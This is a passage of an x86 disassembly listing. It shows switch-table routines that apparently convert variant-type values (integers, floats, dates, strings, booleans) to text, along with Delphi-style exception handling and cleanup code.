		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001179E:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_4] ; jumptable 4001170F case 2
		movsx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400117B9:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_8] ; jumptable 4001170F case 3
		mov	eax, [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400117D3:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		fld	dword ptr [ebx+8] ; jumptable 4001170F case 4
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_C]
		call	sub_40008E14
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400117F4:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		fld	qword ptr [ebx+8] ; jumptable 4001170F case 5
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_10]
		call	sub_40008E14
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011815:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		push	dword ptr [ebx+0Ch] ; jumptable	4001170F case 6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_14]
		call	sub_400113EC
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011832:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		push	dword ptr [ebx+0Ch] ; jumptable	4001170F case 7
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_18]
		call	sub_40011424
		mov	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001184F:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	eax, [ebp+var_1C] ; jumptable 4001170F case 8
		push	eax
		mov	eax, [ebx+8]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		mov	edx, [ebp+var_1C]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011874:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_20] ; jumptable 4001170F case 11
		movzx	eax, word ptr [ebx+8]
		call	sub_4001145C
		mov	edx, [ebp+var_20]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001188F:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_24] ; jumptable 4001170F case 16
		movsx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_24]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118AA:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_28] ; jumptable 4001170F case 17
		movzx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_28]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118C5:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_2C] ; jumptable 4001170F case 18
		movzx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_2C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118E0:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		mov	eax, [ebx+8]	; jumptable 4001170F case 19
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_30]
		call	sub_40007D84
		mov	edx, [ebp+var_30]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118FE:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		push	dword ptr [ebx+0Ch] ; jumptable	4001170F case 20
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_34]
		call	sub_40007D84
		mov	edx, [ebp+var_34]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001191B:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		mov	eax, [ebx+8]	; jumptable 4001170F case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_400116DC
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001192C:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_38] ; jumptable 4001170F cases 9,13
		mov	eax, ebx
		call	sub_40011524
		mov	edx, [ebp+var_38]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011945:				; CODE XREF: sub_400116DC+2Dj
					; sub_400116DC+33j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 4001170F cases 10,14,15
		sub	dx, 100h
		jz	short loc_40011955
		dec	dx
		jz	short loc_40011964
		jmp	short loc_4001197D
; ---------------------------------------------------------------------------


loc_40011955:				; CODE XREF: sub_400116DC+270j
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011964:				; CODE XREF: sub_400116DC+275j
		lea	edx, [ebp+var_3C]
		mov	eax, ebx
		call	sub_400115F0
		mov	edx, [ebp+var_3C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001197D:				; CODE XREF: sub_400116DC+277j
		test	ah, 40h
		jz	loc_40011B91
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_40011B7B	; default
					; jumptable 40011997 cases 0,1,9,10,13-15
		jmp	ds:off_4001199E[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4001199E	dd offset loc_40011B7B	; DATA XREF: sub_400116DC+2BBr
		dd offset loc_40011B7B	; jump table for switch	statement
		dd offset loc_400119F2
		dd offset loc_40011A0F
		dd offset loc_40011A2B
		dd offset loc_40011A4E
		dd offset loc_40011A71
		dd offset loc_40011A90
		dd offset loc_40011AAF
		dd offset loc_40011B7B
		dd offset loc_40011B7B
		dd offset loc_40011AC0
		dd offset loc_40011B6D
		dd offset loc_40011B7B
		dd offset loc_40011B7B
		dd offset loc_40011B7B
		dd offset loc_40011ADD
		dd offset loc_40011AFA
		dd offset loc_40011B17
		dd offset loc_40011B34
		dd offset loc_40011B51
; ---------------------------------------------------------------------------


loc_400119F2:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_40] ; jumptable 40011997 case 2
		mov	eax, [ebx+8]
		movsx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_40]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A0F:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_44] ; jumptable 40011997 case 3
		mov	eax, [ebx+8]
		mov	eax, [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_44]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A2B:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 4
		fld	dword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_48]
		call	sub_40008E14
		mov	edx, [ebp+var_48]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A4E:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 5
		fld	qword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_4C]
		call	sub_40008E14
		mov	edx, [ebp+var_4C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A71:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 6
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_50]
		call	sub_400113EC
		mov	edx, [ebp+var_50]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A90:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 7
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_54]
		call	sub_40011424
		mov	edx, [ebp+var_54]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011AAF:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, esi	; jumptable 40011997 case 8
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_40004AAC
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011AC0:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_58] ; jumptable 40011997 case 11
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_4001145C
		mov	edx, [ebp+var_58]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011ADD:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_5C] ; jumptable 40011997 case 16
		mov	eax, [ebx+8]
		movsx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_5C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011AFA:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_60] ; jumptable 40011997 case 17
		mov	eax, [ebx+8]
		movzx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_60]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B17:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_64] ; jumptable 40011997 case 18
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_64]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B34:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 19
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_68]
		call	sub_40007D84
		mov	edx, [ebp+var_68]
		mov	eax, esi
		call	sub_400048D8
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B51:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 20
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_6C]
		call	sub_40007D84
		mov	edx, [ebp+var_6C]
		mov	eax, esi
		call	sub_400048D8
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B6D:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_400116DC
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B7B:				; CODE XREF: sub_400116DC+2B5j
					; sub_400116DC+2BBj
					; DATA XREF: ...
		lea	edx, [ebp+var_70] ; default
					; jumptable 40011997 cases 0,1,9,10,13-15
		mov	eax, ebx
		call	sub_40011524
		mov	edx, [ebp+var_70]
		mov	eax, esi
		call	sub_400048D8
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B91:				; CODE XREF: sub_400116DC+2A4j
		mov	eax, esi
		call	sub_40004884
		mov	edx, eax
		mov	eax, ebx
		call	sub_40011654
		test	al, al
		jnz	short loc_40011BB9
		lea	edx, [ebp+var_74]
		mov	eax, ebx
		call	sub_40011524
		mov	edx, [ebp+var_74]
		mov	eax, esi
		call	sub_400048D8


loc_40011BB9:				; CODE XREF: sub_400116DC+95j
					; sub_400116DC+BDj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011C0F


loc_40011BC6:				; CODE XREF: sub_400116DC+531j
		lea	eax, [ebp+var_74]
		mov	edx, 7
		call	sub_400048A8
		lea	eax, [ebp+var_58]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_4C]
		mov	edx, 0Bh
		call	sub_400048A8
		lea	eax, [ebp+var_20]
		mov	edx, 4
		call	sub_40005020
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40011C08:				; DATA XREF: sub_400116DC+19o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011BC6
; ---------------------------------------------------------------------------


loc_40011C0F:				; CODE XREF: sub_400116DC+52Bj
					; DATA XREF: sub_400116DC+4E5o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400116DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011C18	proc near		; CODE XREF: sub_40011DFC+247p
					; sub_40011DFC+496p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40011CC2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011CA5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		push	0
		push	400h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 8
		call	sub_4000E034
		push	esi
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_8]
		call	sub_4000511C
		mov	eax, [ebp+var_14]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011CAC


loc_40011C9C:				; CODE XREF: sub_40011C18+92j
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011CA5:				; DATA XREF: sub_40011C18+2Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011C9C
; ---------------------------------------------------------------------------


loc_40011CAC:				; CODE XREF: sub_40011C18+8Cj
					; DATA XREF: sub_40011C18+7Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011CC9


loc_40011CB9:				; CODE XREF: sub_40011C18+AFj
		lea	eax, [ebp+var_14]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40011CC2:				; DATA XREF: sub_40011C18+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011CB9
; ---------------------------------------------------------------------------


loc_40011CC9:				; CODE XREF: sub_40011C18+A9j
					; DATA XREF: sub_40011C18+9Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011C18	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011CD0	proc near		; CODE XREF: sub_40011DFC+27Fp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011D26
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		lea	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_40011DFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011D2D


loc_40011D1D:				; CODE XREF: sub_40011CD0+5Bj
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011D26:				; DATA XREF: sub_40011CD0+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011D1D
; ---------------------------------------------------------------------------


loc_40011D2D:				; CODE XREF: sub_40011CD0+55j
					; DATA XREF: sub_40011CD0+48o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011CD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011D34	proc near		; CODE XREF: sub_40011DFC+4B2p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	ecx, ecx
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_40011D50
		xor	edx, edx
		mov	[eax], edx


loc_40011D50:				; CODE XREF: sub_40011D34+16j
		xor	eax, eax
		push	ebp
		push	offset loc_40011DEC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_C]
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_40011DD6
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011DCF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		mov	ecx, ebx
		lea	edx, [ebp+var_1C]
		mov	eax, [ebp+var_C]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_14]
		call	sub_4000511C
		mov	eax, [ebp+var_20]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011DD6


loc_40011DC6:				; CODE XREF: sub_40011D34+A0j
		lea	eax, [ebp+var_1C]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011DCF:				; DATA XREF: sub_40011D34+4Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011DC6
; ---------------------------------------------------------------------------


loc_40011DD6:				; CODE XREF: sub_40011D34+3Cj
					; sub_40011D34+9Aj
					; DATA XREF: ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011DF3


loc_40011DE3:				; CODE XREF: sub_40011D34+BDj
		lea	eax, [ebp+var_20]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40011DEC:				; DATA XREF: sub_40011D34+1Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011DE3
; ---------------------------------------------------------------------------


loc_40011DF3:				; CODE XREF: sub_40011D34+B7j
					; DATA XREF: sub_40011D34+AAo
		movzx	eax, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011DFC	proc near		; CODE XREF: sub_4000E7B0+19p
					; sub_4000EBF8+1Fp ...

var_90		= tbyte	ptr -90h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_40011E04:				; CODE XREF: sub_40011DFC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_40011E04
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40012341
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40012057	; default
					; jumptable 40011E2E cases 10,14,15
		jmp	ds:off_40011E35[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011E35	dd offset loc_40011E89	; DATA XREF: sub_40011DFC+32r
		dd offset loc_40011E95	; jump table for switch	statement
		dd offset loc_40011EBD
		dd offset loc_40011ED8
		dd offset loc_40011EF2
		dd offset loc_40011F13
		dd offset loc_40011F34
		dd offset loc_40011F51
		dd offset loc_40011F6E
		dd offset loc_4001203E
		dd offset loc_40012057
		dd offset loc_40011F86
		dd offset loc_4001202D
		dd offset loc_4001203E
		dd offset loc_40012057
		dd offset loc_40012057
		dd offset loc_40011FA1
		dd offset loc_40011FBC
		dd offset loc_40011FD7
		dd offset loc_40011FF2
		dd offset loc_40012010
; ---------------------------------------------------------------------------


loc_40011E89:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		mov	eax, esi	; jumptable 40011E2E case 0
		call	sub_40005008
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011E95:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		cmp	byte_4001AA10, 0 ; jumptable 40011E2E case 1
		jz	short loc_40011EAB
		mov	dx, 8
		mov	ax, 1
		call	sub_4000DBF4


loc_40011EAB:				; CODE XREF: sub_40011DFC+A0j
		mov	eax, esi
		mov	edx, dword_4001AA14
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011EBD:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_4] ; jumptable 40011E2E case 2
		movsx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011ED8:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_8] ; jumptable 40011E2E case 3
		mov	eax, [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011EF2:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		fld	dword ptr [ebx+8] ; jumptable 40011E2E case 4
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_C]
		call	sub_40008E14
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F13:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		fld	qword ptr [ebx+8] ; jumptable 40011E2E case 5
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_10]
		call	sub_40008E14
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F34:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	dword ptr [ebx+0Ch] ; jumptable	40011E2E case 6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_14]
		call	sub_400113EC
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F51:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	dword ptr [ebx+0Ch] ; jumptable	40011E2E case 7
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_18]
		call	sub_40011424
		mov	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F6E:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	esi		; jumptable 40011E2E case 8
		mov	eax, [ebx+8]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F86:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_1C] ; jumptable 40011E2E case 11
		movzx	eax, word ptr [ebx+8]
		call	sub_4001145C
		mov	edx, [ebp+var_1C]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FA1:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_20] ; jumptable 40011E2E case 16
		movsx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_20]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FBC:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_24] ; jumptable 40011E2E case 17
		movzx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_24]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FD7:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_28] ; jumptable 40011E2E case 18
		movzx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_28]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FF2:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		mov	eax, [ebx+8]	; jumptable 40011E2E case 19
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_40007D84
		mov	edx, [ebp+var_2C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012010:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	dword ptr [ebx+0Ch] ; jumptable	40011E2E case 20
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_30]
		call	sub_40007D84
		mov	edx, [ebp+var_30]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001202D:				; CODE XREF: sub_40011DFC+32j
